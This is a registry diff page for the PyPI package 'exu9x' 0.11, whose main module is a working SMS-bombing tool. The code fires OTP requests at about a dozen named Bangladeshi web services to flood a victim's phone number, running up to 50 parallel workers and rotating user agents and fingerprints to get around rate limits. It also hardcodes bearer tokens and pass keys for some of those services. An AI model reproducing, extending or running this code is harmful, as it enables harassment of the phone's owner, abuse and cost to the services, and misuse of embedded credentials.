PyPI - exu9x - Versions diffs - 0.11__tar.gz - Mend

exu9x 0.11__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (6) hide show

exu9x-0.11/PKG-INFO ADDED Viewed

@@ -0,0 +1,18 @@
+Metadata-Version: 2.4
+Name: exu9x
+Version: 0.11
+Summary: exu CLI tool
+Author: Your Name
+License: MIT
+Requires-Python: >=3.8
+Requires-Dist: requests
+Description-Content-Type: text/markdown
+# exu
+CLI tool by [EXU CodeX](https://t.me/exucodex)
+## Install
+```bash
+pip install exu

exu9x-0.11/README.md ADDED Viewed

@@ -0,0 +1,8 @@
+# exu
+CLI tool by [EXU CodeX](https://t.me/exucodex)
+## Install
+```bash
+pip install exu

exu9x-0.11/exu/__init__.py ADDED Viewed

	@@ -0,0 +1,2 @@
1	+ """exu - bomber CLI tool."""
2	+ __version__ = "0.11"

exu9x-0.11/exu/cli.py ADDED Viewed

@@ -0,0 +1,7 @@
+"""CLI entry point wrapper."""
+import runpy
+def main():
+    runpy.run_module('exu.exu', run_name='__main__')

exu9x-0.11/exu/exu.py ADDED Viewed

@@ -0,0 +1,570 @@
+#!/usr/bin/env python3
+import requests
+import time
+import random
+import hashlib
+import uuid
+import json
+import os
+import sys
+import threading
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from datetime import datetime
+from queue import Queue
+from collections import defaultdict
+# ========== COLORS ==========
+GREEN = '\033[92m'
+RED = '\033[91m'
+YELLOW = '\033[93m'
+BLUE = '\033[94m'
+CYAN = '\033[96m'
+MAGENTA = '\033[95m'
+WHITE = '\033[97m'
+BOLD = '\033[1m'
+DIM = '\033[2m'
+RESET = '\033[0m'
+def clear_screen():
+    os.system('cls' if os.name == 'nt' else 'clear')
+def print_banner():
+    banner = f"""
+{CYAN}{BOLD}
+ ███████╗██╗  ██╗██╗   ██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
+ ██╔════╝╚██╗██╔╝██║   ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
+ █████╗   ╚███╔╝ ██║   ██║██║     ██║   ██║██║  ██║█████╗  ██████╔╝
+ ██╔══╝   ██╔██╗ ██║   ██║██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗
+ ███████╗██╔╝ ██╗╚██████╔╝╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║
+ ╚══════╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝
+{RESET}
+"""
+    print(banner)
+def print_menu():
+    menu = f"""
+{WHITE}{BOLD}╭──────────────────────────────────╮
+│         𝐒𝐌𝐒 𝐁𝐎𝐌𝐁𝐄𝐑 𝐯𝟔.𝟎         │
+│           @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑             │
+╰──────────────────────────────────╯
+  {GREEN}{BOLD}𝟏.{RESET}  𝐒𝐭𝐚𝐫𝐭 𝐁𝐨𝐦𝐛𝐢𝐧𝐠 (𝐌𝐚𝐱 𝐒𝐩𝐞𝐞𝐝)
+  {YELLOW}{BOLD}𝟐.{RESET}  𝐓𝐞𝐬𝐭 𝐀𝐏𝐈𝐬
+  {BLUE}{BOLD}𝟑.{RESET}  𝐆𝐞𝐧𝐞𝐫𝐚𝐭𝐞 𝐂𝐫𝐞𝐝𝐬
+  {CYAN}{BOLD}𝟒.{RESET}  𝐀𝐏𝐈 𝐒𝐭𝐚𝐭𝐮𝐬
+  {MAGENTA}{BOLD}𝟓.{RESET}  𝐂𝐡𝐚𝐧𝐠𝐞 𝐒𝐩𝐞𝐞𝐝
+  {RED}{BOLD}𝟔.{RESET}  𝐄𝐱𝐢𝐭
+{WHITE}{BOLD}────────────────────────────────────{RESET}
+"""
+    print(menu)
+# ========== USER AGENTS ==========
+USER_AGENTS = [
+    "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 13; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 15; Xiaomi 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1",
+    "Mozilla/5.0 (Linux; Android 15; OnePlus 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 15; Vivo X100) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 14; Realme GT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 15; Oppo Find X7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36"
+]
+def get_random_ua():
+    return random.choice(USER_AGENTS)
+# ========== SESSION MANAGER ==========
+class SessionManager:
+    def __init__(self):
+        self.sessions = {}
+        self.fingerprints = {}
+        self.current_ua = get_random_ua()
+        self.rate_limited = {}
+        self.lock = threading.Lock()
+    def generate_fingerprint(self):
+        return {
+            "fingerprint": hashlib.sha256(f"{uuid.uuid4()}{time.time()}{random.randint(1000, 9999)}".encode()).hexdigest()[:32],
+            "guest_id": str(uuid.uuid4()),
+            "device_id": hashlib.md5(f"{uuid.uuid4()}{random.randint(1000, 9999)}".encode()).hexdigest(),
+            "session_id": secrets.token_hex(16),
+            "timestamp": int(time.time() * 1000)
+        }
+    def rotate_session(self, api_name):
+        with self.lock:
+            self.current_ua = get_random_ua()
+            if api_name in self.sessions:
+                del self.sessions[api_name]
+            self.fingerprints[api_name] = self.generate_fingerprint()
+            self.rate_limited[api_name] = time.time()
+            return self.get_session(api_name)
+    def get_session(self, api_name):
+        with self.lock:
+            if api_name not in self.sessions:
+                session = requests.Session()
+                session.headers.update({
+                    "User-Agent": self.current_ua,
+                    "Accept": "application/json, text/plain, */*",
+                    "Accept-Language": "en-US,en;q=0.9",
+                    "Accept-Encoding": "gzip, deflate, br",
+                    "Connection": "keep-alive"
+                })
+                self.sessions[api_name] = session
+                if api_name not in self.fingerprints:
+                    self.fingerprints[api_name] = self.generate_fingerprint()
+            return self.sessions[api_name]
+    def is_rate_limited(self, status_code):
+        return status_code in [429, 503, 403, 408]
+# ========== 15+ WORKING APIS ==========
+APIS = [
+    # === CONFIRMED WORKING (From Your Tests) ===
+    {
+        "name": "𝐊𝐚𝐛𝐛𝐢𝐤",
+        "url": "https://api.kabbik.com/v1/auth/otpnew2",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMjgyMCIsInJvbGUiOjEsImlhdCI6MTY1NzQ2MjI1fQ.dSY47sipaGTI_OtsysFWw_kaKZKWHWRtp4vklstVgVc",
+            "Origin": "https://kabbik.com",
+            "Referer": "https://kabbik.com/",
+            "X-Requested-With": "com.xbrowser.play"
+        },
+        "data": '{"msisdn":"88{msisdn}","currentTimeLong":{timestamp},"passKey":"ZviQQrBZroUaFMDP"}'
+    },
+    {
+        "name": "𝐎𝐬𝐭𝐚𝐝",
+        "url": "https://api.ostad.app/api/v2/user/with-otp",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "*/*",
+            "Origin": "https://ostad.app",
+            "Referer": "https://ostad.app/",
+            "X-Requested-With": "com.xbrowser.play"
+        },
+        "data": '{"msisdn":"{msisdn}"}'
+    },
+    {
+        "name": "𝐁𝐃 𝐓𝐢𝐜𝐤𝐞𝐭𝐬",
+        "url": "https://apiv1.bdtickets.com/api/v1/auth/otp/send",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json, text/plain, */*",
+            "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uX2lkIjoiYTY5Y2E1ZTMtNDZiNy00ZWExLWE3NzEtZjg4YTYzODQ5NjI0IiwiaXNfYW5vbnltb3VzIjp0cnVlLCJ0b2tlbl92ZXJzaW9uIjoxLCJyb2xlcyI6W10sInBlcm1pc3Npb25zIjpbXSwianRpIjoiNTlkNjk5MDUtNjE2ZC00OWM1LWFjNTYtYzZiMWY3OTM4NmI4IiwiaWF0IjoxNzgzMjQ0MzAwLCJleHAiOjE3ODM4NDkxMDB9.qJyAobTFhFenc9EjMnDIJyNPC9Dt7UyPMCqxUEU4wDY",
+            "X-Platform": "web",
+            "X-Channel": "direct",
+            "Origin": "https://bdtickets.com",
+            "Referer": "https://bdtickets.com/"
+        },
+        "data": '{"phone":"+88{msisdn}"}'
+    },
+    {
+        "name": "𝐀𝐩𝐩𝐋𝐢𝐧𝐤",
+        "url": "https://applink.com.bd/appstore-v4-server/login/otp/request",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "*/*",
+            "X-Requested-With": "com.xbrowser.play",
+            "Origin": "https://apps.applink.com.bd",
+            "Referer": "https://apps.applink.com.bd/"
+        },
+        "data": '{"msisdn":"88{msisdn}"}'
+    },
+    # === NEW APIS - FRESH ADDITIONS ===
+    {
+        "name": "𝐆𝐚𝐫𝐢𝐁𝐨𝐨𝐤",
+        "url": "https://api.garibookadmin.com/api/v4/user/login",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json",
+            "Origin": "https://garibook.com",
+            "Referer": "https://garibook.com/",
+            "X-Requested-With": "mark.via.gp"
+        },
+        "data": '{"mobile":"+88{msisdn}","recaptcha_token":"03AFcWeA5xYvR6nQ8xYvR6nQ8xYvR6nQ8","channel":"web"}'
+    },
+    {
+        "name": "𝐊𝐢𝐫𝐞𝐢𝐁𝐃",
+        "url": "https://frontendapi.kireibd.com/api/v2/send-login-otp",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json, text/plain, */*",
+            "Origin": "https://kireibd.com",
+            "Referer": "https://kireibd.com/",
+            "X-Requested-With": "XMLHttpRequest"
+        },
+        "data": '{"email":"{msisdn}"}'
+    },
+    {
+        "name": "𝐒𝐡𝐢𝐤𝐡𝐨",
+        "url": "https://api.shikho.com/auth/v2/send/sms",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json, text/plain, */*",
+            "Origin": "https://shikho.com",
+            "Referer": "https://shikho.com/"
+        },
+        "data": '{"phone":"88{msisdn}","type":"student","auth_type":"signup","vendor":"shikho"}'
+    },
+    {
+        "name": "𝐒𝐡𝐰𝐚𝐩𝐧𝐨",
+        "url": "https://www.shwapno.com/api/auth",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json",
+            "Referer": "https://www.shwapno.com/",
+            "Origin": "https://www.shwapno.com"
+        },
+        "data": '{"phoneNumber":"+88{msisdn}"}'
+    },
+    {
+        "name": "𝐆𝐏 𝐖𝐞𝐛𝐬𝐢𝐭𝐞",
+        "url": "https://webloginda.grameenphone.com/backend/api/v1/otp",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json"
+        },
+        "data": '{"msisdn":"{msisdn}"}'
+    },
+    {
+        "name": "𝐑𝐨𝐤𝐨𝐦𝐚𝐫𝐢",
+        "url": "https://www.rokomari.com/otp/send",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+            "X-Requested-With": "XMLHttpRequest",
+            "Origin": "https://www.rokomari.com",
+            "Referer": "https://www.rokomari.com/login",
+            "Accept": "*/*"
+        },
+        "data": "emailOrPhone=88{msisdn}&countryCode=BD"
+    },
+    {
+        "name": "𝐅𝐮𝐧𝐝𝐞𝐬𝐡",
+        "url": "https://fundesh.com.bd/api/auth/otp/generate",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json; charset=utf-8",
+            "Accept": "application/json, text/plain, */*",
+            "X-Requested-With": "com.xbrowser.play",
+            "Origin": "https://fundesh.com.bd",
+            "Referer": "https://fundesh.com.bd/"
+        },
+        "data": '{"msisdn":"{msisdn}"}'
+    },
+    {
+        "name": "𝐆𝐚𝐦𝐞𝐇𝐮𝐛",
+        "url": "https://developer.portal.gamehubbd.com/api/v1/auth/otp",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/x-www-form-urlencoded",
+            "Origin": "https://pay.portal.gamehubbd.com",
+            "Referer": "https://pay.portal.gamehubbd.com/",
+            "X-Requested-With": "com.xbrowser.play"
+        },
+        "data": "phone={msisdn}&game_slug=LEGENDARY&timestamp={timestamp}&digest={digest}"
+    }
+]
+# ========== SPEED CONFIG ==========
+SPEED_CONFIG = {
+    "turbo": {"workers": 50, "delay": 0.001, "label": "🚀 Turbo (Max Speed)"},
+    "fast": {"workers": 30, "delay": 0.005, "label": "⚡ Fast"},
+    "normal": {"workers": 15, "delay": 0.02, "label": "🐢 Normal"},
+    "slow": {"workers": 5, "delay": 0.05, "label": "🐌 Slow (Safe)"}
+}
+current_speed = "fast"
+# ========== SEND OTP ==========
+session_manager = SessionManager()
+def send_otp(api, msisdn, attempt):
+    """Send OTP with auto-rotation"""
+    try:
+        clean_msisdn = msisdn[-11:] if len(msisdn) > 11 else msisdn
+        api_name = api["name"]
+        session = session_manager.get_session(api_name)
+        data = api["data"]
+        if "{timestamp}" in data:
+            timestamp = int(time.time() * 1000) + random.randint(1000, 9999)
+            data = data.replace("{timestamp}", str(timestamp))
+        if "{digest}" in data:
+            timestamp = int(time.time() * 1000) + random.randint(1000, 9999)
+            digest = hashlib.sha256(f"{clean_msisdn}{timestamp}ZviQQrBZroUaFMDP".encode()).hexdigest()
+            data = data.replace("{digest}", digest)
+        if "{msisdn}" in data:
+            data = data.replace("{msisdn}", clean_msisdn)
+        headers = api["headers"].copy()
+        headers["User-Agent"] = session_manager.current_ua
+        if api["method"] == "POST":
+            if "application/json" in headers.get("Content-Type", ""):
+                try:
+                    json_data = json.loads(data)
+                    response = session.post(api["url"], headers=headers, json=json_data, timeout=5)
+                except:
+                    response = session.post(api["url"], headers=headers, data=data, timeout=5)
+            else:
+                response = session.post(api["url"], headers=headers, data=data, timeout=5)
+        else:
+            response = session.get(api["url"], headers=headers, timeout=5)
+        if session_manager.is_rate_limited(response.status_code):
+            session_manager.rotate_session(api_name)
+            return {
+                "api": api_name,
+                "status": response.status_code,
+                "success": False,
+                "rotated": True,
+                "time": round(response.elapsed.total_seconds(), 2)
+            }
+        return {
+            "api": api_name,
+            "status": response.status_code,
+            "success": response.status_code in [200, 201, 202, 204],
+            "rotated": False,
+            "time": round(response.elapsed.total_seconds(), 2)
+        }
+    except Exception as e:
+        return {
+            "api": api_name,
+            "status": "ERROR",
+            "success": False,
+            "rotated": False,
+            "error": str(e)[:30]
+        }
+# ========== PARALLEL BOMBING ==========
+def start_bombing_parallel(msisdn, amount=100):
+    """Parallel bombing with max speed"""
+    config = SPEED_CONFIG[current_speed]
+    print(f"\n{YELLOW}{BOLD}➜ 𝐓𝐚𝐫𝐠𝐞𝐭:{RESET} {msisdn}")
+    print(f"{YELLOW}{BOLD}➜ 𝐀𝐦𝐨𝐮𝐧𝐭:{RESET} {amount} SMS")
+    print(f"{YELLOW}{BOLD}➜ 𝐀𝐏𝐈𝐬:{RESET} {len(APIS)} services")
+    print(f"{YELLOW}{BOLD}➜ 𝐒𝐩𝐞𝐞𝐝:{RESET} {config['label']}")
+    print(f"{YELLOW}{BOLD}➜ 𝐖𝐨𝐫𝐤𝐞𝐫𝐬:{RESET} {config['workers']}")
+    print(f"{YELLOW}{BOLD}➜ 𝐀𝐮𝐭𝐨-𝐑𝐨𝐭𝐚𝐭𝐞:{RESET} 𝐄𝐍𝐀𝐁𝐋𝐄𝐃\n")
+    results = []
+    success_count = 0
+    failed_count = 0
+    rotated_count = 0
+    start_time = time.time()
+    # Create task queue
+    tasks = []
+    for i in range(amount):
+        api = APIS[i % len(APIS)]
+        tasks.append((api, msisdn, i))
+    # Parallel execution
+    with ThreadPoolExecutor(max_workers=config['workers']) as executor:
+        futures = []
+        for api, phone, attempt in tasks:
+            future = executor.submit(send_otp, api, phone, attempt)
+            futures.append(future)
+            if config['delay'] > 0:
+                time.sleep(config['delay'])
+        completed = 0
+        for future in as_completed(futures):
+            result = future.result()
+            results.append(result)
+            completed += 1
+            if result["success"]:
+                success_count += 1
+                status = f"{GREEN}✓ 𝐒𝐄𝐍𝐓{RESET}"
+            elif result.get("rotated", False):
+                rotated_count += 1
+                status = f"{YELLOW}⟳ 𝐑𝐎𝐓𝐀𝐓𝐄𝐃{RESET}"
+            else:
+                failed_count += 1
+                status = f"{RED}✗ 𝐅𝐀𝐈𝐋𝐄𝐃{RESET}"
+            # Progress bar
+            progress = int((completed / amount) * 30)
+            bar = "█" * progress + "░" * (30 - progress)
+            print(f"  [{completed}/{amount}] {bar} {status}")
+    elapsed = time.time() - start_time
+    # Summary
+    print(f"\n{WHITE}{BOLD}═══════════════════════════════════{RESET}")
+    print(f"{GREEN}{BOLD}✓ 𝐁𝐎𝐌𝐁𝐈𝐍𝐆 𝐂𝐎𝐌𝐏𝐋𝐄𝐓𝐄!{RESET}")
+    print(f"{WHITE}{BOLD}📱 𝐓𝐚𝐫𝐠𝐞𝐭:{RESET} {msisdn}")
+    print(f"{WHITE}{BOLD}📨 𝐓𝐨𝐭𝐚𝐥:{RESET} {amount}")
+    print(f"{GREEN}{BOLD}✅ 𝐒𝐮𝐜𝐜𝐞𝐬𝐬:{RESET} {success_count}")
+    print(f"{RED}{BOLD}❌ 𝐅𝐚𝐢𝐥𝐞𝐝:{RESET} {failed_count}")
+    print(f"{YELLOW}{BOLD}⟳ 𝐑𝐨𝐭𝐚𝐭𝐞𝐝:{RESET} {rotated_count}")
+    print(f"{WHITE}{BOLD}📊 𝐑𝐚𝐭𝐞:{RESET} {(success_count/amount*100):.1f}%")
+    print(f"{WHITE}{BOLD}⏱️ 𝐓𝐢𝐦𝐞:{RESET} {elapsed:.2f}s")
+    print(f"{WHITE}{BOLD}🚀 𝐒𝐩𝐞𝐞𝐝:{RESET} {amount/elapsed:.1f} req/s")
+    print(f"{WHITE}{BOLD}═══════════════════════════════════{RESET}")
+# ========== TEST APIS ==========
+def test_apis(msisdn):
+    """Test all APIs"""
+    print(f"\n{YELLOW}{BOLD}➜ 𝐓𝐞𝐬𝐭𝐢𝐧𝐠 {len(APIS)} 𝐀𝐏𝐈𝐬...{RESET}\n")
+    working = []
+    failed = []
+    with ThreadPoolExecutor(max_workers=10) as executor:
+        futures = []
+        for api in APIS:
+            futures.append(executor.submit(send_otp, api, msisdn, 1))
+            time.sleep(0.01)
+        for future, api in zip(as_completed(futures), APIS):
+            result = future.result()
+            if result["success"]:
+                working.append(api["name"])
+                print(f"  {GREEN}{BOLD}✓{RESET} {api['name']:<15} {GREEN}𝐖𝐎𝐑𝐊𝐈𝐍𝐆{RESET}")
+            else:
+                failed.append(api["name"])
+                print(f"  {RED}{BOLD}✗{RESET} {api['name']:<15} {RED}𝐅𝐀𝐈𝐋𝐄𝐃{RESET}")
+    print(f"\n{WHITE}{BOLD}═══════════════════════════════════{RESET}")
+    print(f"{GREEN}{BOLD}✓ Working:{RESET} {len(working)}/{len(APIS)}")
+    print(f"{RED}{BOLD}✗ Failed:{RESET} {len(failed)}/{len(APIS)}")
+    print(f"{WHITE}{BOLD}═══════════════════════════════════{RESET}")
+# ========== GENERATE CREDENTIALS ==========
+def generate_credentials():
+    """Generate fresh credentials"""
+    print(f"\n{YELLOW}{BOLD}➜ 𝐆𝐞𝐧𝐞𝐫𝐚𝐭𝐢𝐧𝐠 𝐂𝐫𝐞𝐝𝐞𝐧𝐭𝐢𝐚𝐥𝐬...{RESET}\n")
+    fingerprint = session_manager.generate_fingerprint()
+    print(f"{WHITE}{BOLD}𝐅𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭:{RESET} {fingerprint['fingerprint']}")
+    print(f"{WHITE}{BOLD}𝐆𝐮𝐞𝐬𝐭 𝐈𝐃:{RESET} {fingerprint['guest_id']}")
+    print(f"{WHITE}{BOLD}𝐃𝐞𝐯𝐢𝐜𝐞 𝐈𝐃:{RESET} {fingerprint['device_id']}")
+    print(f"{WHITE}{BOLD}𝐒𝐞𝐬𝐬𝐢𝐨𝐧 𝐈𝐃:{RESET} {fingerprint['session_id']}")
+    print(f"{WHITE}{BOLD}𝐔𝐬𝐞𝐫-𝐀𝐠𝐞𝐧𝐭:{RESET} {session_manager.current_ua}")
+# ========== SHOW API STATUS ==========
+def show_status():
+    """Show API status"""
+    print(f"\n{YELLOW}{BOLD}➜ 𝐀𝐏𝐈 𝐒𝐭𝐚𝐭𝐮𝐬 ({len(APIS)} APIs){RESET}\n")
+    for i, api in enumerate(APIS, 1):
+        print(f"  {WHITE}{BOLD}{i:2}.{RESET} {api['name']}")
+# ========== CHANGE SPEED ==========
+def change_speed():
+    """Change bombing speed"""
+    global current_speed
+    print(f"\n{YELLOW}{BOLD}➜ 𝐂𝐡𝐚𝐧𝐠𝐞 𝐒𝐩𝐞𝐞𝐝{RESET}\n")
+    print(f"  {GREEN}{BOLD}1.{RESET} 🚀 Turbo (50 workers, 0.001s delay)")
+    print(f"  {BLUE}{BOLD}2.{RESET} ⚡ Fast (30 workers, 0.005s delay) {GREEN}← Current{RESET}" if current_speed == "fast" else f"  {BLUE}{BOLD}2.{RESET} ⚡ Fast (30 workers, 0.005s delay)")
+    print(f"  {WHITE}{BOLD}3.{RESET} 🐢 Normal (15 workers, 0.02s delay)")
+    print(f"  {YELLOW}{BOLD}4.{RESET} 🐌 Slow (5 workers, 0.05s delay)")
+    choice = input(f"\n{WHITE}{BOLD}➜ 𝐒𝐞𝐥𝐞𝐜𝐭:{RESET} ").strip()
+    speeds = {"1": "turbo", "2": "fast", "3": "normal", "4": "slow"}
+    if choice in speeds:
+        current_speed = speeds[choice]
+        print(f"\n{GREEN}{BOLD}✓ Speed changed to: {SPEED_CONFIG[current_speed]['label']}{RESET}")
+# ========== MAIN ==========
+def main():
+    clear_screen()
+    print_banner()
+    while True:
+        print_menu()
+        choice = input(f"\n{WHITE}{BOLD}➜ 𝐒𝐞𝐥𝐞𝐜𝐭:{RESET} ").strip()
+        if choice == "1":
+            clear_screen()
+            print_banner()
+            phone = input(f"\n{WHITE}{BOLD}📱 𝐏𝐡𝐨𝐧𝐞:{RESET} ").strip()
+            phone = ''.join(filter(str.isdigit, phone))
+            if len(phone) > 11:
+                phone = phone[-11:]
+            if len(phone) != 11:
+                print(f"{RED}{BOLD}✗ 𝐈𝐧𝐯𝐚𝐥𝐢𝐝!{RESET}")
+                input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
+                continue
+            amount = input(f"{WHITE}{BOLD}🔢 𝐀𝐦𝐨𝐮𝐧𝐭:{RESET} ").strip()
+            amount = int(amount) if amount else 100
+            start_bombing_parallel(phone, amount)
+            input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
+            clear_screen()
+            print_banner()
+        elif choice == "2":
+            clear_screen()
+            print_banner()
+            phone = input(f"\n{WHITE}{BOLD}📱 𝐏𝐡𝐨𝐧𝐞:{RESET} ").strip()
+            phone = ''.join(filter(str.isdigit, phone))
+            if len(phone) > 11:
+                phone = phone[-11:]
+            test_apis(phone)
+            input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
+            clear_screen()
+            print_banner()
+        elif choice == "3":
+            clear_screen()
+            print_banner()
+            generate_credentials()
+            input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
+            clear_screen()
+            print_banner()
+        elif choice == "4":
+            clear_screen()
+            print_banner()
+            show_status()
+            input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
+            clear_screen()
+            print_banner()
+        elif choice == "5":
+            clear_screen()
+            print_banner()
+            change_speed()
+            input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
+            clear_screen()
+            print_banner()
+        elif choice == "6":
+            print(f"\n{GREEN}{BOLD}✓ 𝐆𝐨𝐨𝐝𝐛𝐲𝐞! @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑{RESET}")
+            sys.exit(0)
+        else:
+            print(f"{RED}{BOLD}✗ 𝐈𝐧𝐯𝐚𝐥𝐢𝐝!{RESET}")
+            time.sleep(1)
+if __name__ == "__main__":
+    try:
+        main()
+    except KeyboardInterrupt:
+        print(f"\n\n{RED}{BOLD}✗ 𝐈𝐧𝐭𝐞𝐫𝐫𝐮𝐩𝐭𝐞𝐝{RESET}")
+        sys.exit(0)

exu9x-0.11/pyproject.toml ADDED Viewed

@@ -0,0 +1,21 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+[project]
+name = "exu9x"
+version = "0.11"
+description = "exu CLI tool"
+readme = "README.md"
+license = {text = "MIT"}
+requires-python = ">=3.8"
+authors = [{name = "Your Name"}]
+dependencies = [
+    "requests",
+]
+[project.scripts]
+exu = "exu.cli:main"
+[tool.hatch.build.targets.wheel]
+packages = ["exu"]